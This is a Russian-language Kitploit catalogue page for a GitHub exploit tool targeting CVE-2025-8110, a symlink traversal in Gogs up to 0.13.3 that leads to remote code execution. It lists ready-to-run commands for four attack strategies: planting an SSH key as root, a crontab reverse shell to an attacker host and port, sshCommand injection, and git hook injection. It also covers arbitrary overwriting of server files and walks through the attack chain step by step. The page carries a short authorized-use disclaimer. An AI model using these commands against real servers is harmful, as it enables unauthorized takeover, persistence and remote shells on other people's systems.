Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-8110 — Gogs Symlink Traversal → RCE | Kitploit
Инструменты/GitHubGitHub/popyue/cve-2025-8110
Privilege EscalationVulnerability AnalysisExploitationLateral MovementWeb Application ExploitationPenetration TestingLearning & EducationRed TeamingPayload Development
GitHubpopyue/cve-2025-8110

CVE-2025-8110

Gogs Symlink Traversal → RCE

4 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий

CVE-2025-8110 — Обход символических ссылок Gogs → RCE

Обзор

CVE-2025-8110 — это критическая уязвимость в Gogs (самостоятельно размещаемый Git-сервис) версий <= 0.13.3. API PutContents проверяет пути к файлам на предмет обхода каталогов (../), но не разрешает символические ссылки перед записью. Аутентифицированный пользователь может отправить коммит, содержащий символическую ссылку, указывающую на любой серверный файл, а затем вызвать PutContents для этой ссылки, чтобы перезаписать реальный файл контролируемым злоумышленником содержимым.

Это обход исправления предыдущей CVE-2024-55947, которое устраняло только прямой обход пути, но не обход на основе символических ссылок.

ДетальЗначение
CVECVE-2025-8110
Затронутые версииGogs <= 0.13.3
ИсправленоGogs 0.13.4
ТипАутентифицированная произвольная запись файла → RCE
CVSS8.8 (Высокий)
КомпонентPutContents API (/api/v1/repos/:owner/:repo/contents/:path)

Требования

  • Python 3.8+
  • requests (pip install requests)
  • git CLI
  • Действительная учётная запись Gogs на целевом экземпляре

Стратегии RCE

Использование

root@kitploit:~
# Check if target is vulnerable (no credentials needed)
python3 exploit.py http://target:3000 --check-only

# Strategy A: Plant SSH key for root access
python3 exploit.py http://target:3000 -u user -p pass \
    --rce-keys ~/.ssh/id_rsa.pub --cleanup

# Strategy B: Crontab reverse shell
python3 exploit.py http://target:3000 -u user -p pass \
    --rce-cron --lhost 10.10.14.5 --lport 4444

# Strategy C: sshCommand injection
python3 exploit.py http://target:3000 -u user -p pass \
    --rce-ssh --lhost 10.10.14.5 --lport 4444

# Strategy D: Git hook injection
python3 exploit.py http://target:3000 -u user -p pass \
    --rce-hook --lhost 10.10.14.5 --lport 4444

# Generic file write
python3 exploit.py http://target:3000 -u user -p pass \
    --write --target-file /tmp/pwned --content "proof-of-concept"

# Write from local file
python3 exploit.py http://target:3000 -u user -p pass \
    --write --target-file /root/.ssh/authorized_keys \
    --content-file ~/.ssh/id_rsa.pub

Детали цепочки атаки

  1. Аутентификация — Создать токен API через Basic Auth (POST /api/v1/users/:user/tokens) - Войти через токен API (Basic Auth)
  2. Создать репозиторий — POST /api/v1/user/repos с auto_init: true (POST /api/v1/user/repos (auto_init))
  3. Отправить символическую ссылку — Клонировать репозиторий через HTTP (учётные данные встроены в URL), создать символическую ссылку, указывающую на целевой файл, закоммитить и отправить (git clone -> os.symlink(target) -> git push)
  4. Запись через символическую ссылку — PUT /api/v1/repos/:owner/:repo/contents/:link с содержимым, закодированным в base64. Gogs разрешает символическую ссылку на диске и записывает в реальный файл (PUT /api/v1/repos/.../contents/linkn_ame)
  5. Запустить RCE — Запуск RCE зависит от стратегии (вход по SSH, выполнение cron, выполнение sshCommand или выполнение хука)

Options

root@kitploit:~
target                  Gogs base URL (e.g. http://target:3000)

Authentication:
  -u, --user            Gogs username
  -p, --password        Gogs password

RCE Strategies:
  --rce-keys PUBKEY     Plant SSH pubkey → /root/.ssh/authorized_keys
  --rce-cron            Reverse shell → /etc/crontab
  --rce-ssh             Poison .git/config sshCommand + trigger
  --rce-hook            Overwrite pre-receive hook + trigger
  --write               Generic arbitrary file write

Connection / Payload:
  --lhost LHOST         Attacker IP for reverse shell
  --lport LPORT         Attacker port for reverse shell
  --target-file PATH    Server path to overwrite (--write mode)
  --content STRING      Content to write
  --content-file FILE   Local file to write

Options:
  --repo NAME           Repository name (default: random)
  --cleanup             Delete exploit repo after completion
  -o, --output FILE     Report file (default: loot.json)
  --timeout SECONDS     Request timeout (default: 15)
  --proxy URL           HTTP proxy for debugging
  --check-only          Only check if target is Gogs, don't exploit

Ссылки

  • Блог Wiz Research
  • NVD — CVE-2025-8110
  • Патч Gogs PR #8078
  • GHSA-mq8m-42gh-wq7r

Отказ от ответственности

Этот инструмент предоставляется только для авторизованного тестирования безопасности и образовательных целей. Несанкционированный доступ к компьютерным системам незаконен. Автор не несёт ответственности за неправомерное использование. Используйте только на системах, которыми вы владеете или на тестирование которых имеете явное письменное разрешение.

Скачать инструмент
СтратегияФлагЦелевой файлТриггер
A — SSH-ключи--rce-keys/root/.ssh/authorized_keysВход по SSH
B — Crontab--rce-cron/etc/crontabАвтоматически (в течение 60 с)
C — sshCommand--rce-ssh.git/configОперация git по SSH
D — Хук Git--rce-hookhooks/pre-receivegit push
Generic--writeЛюбой путьВручную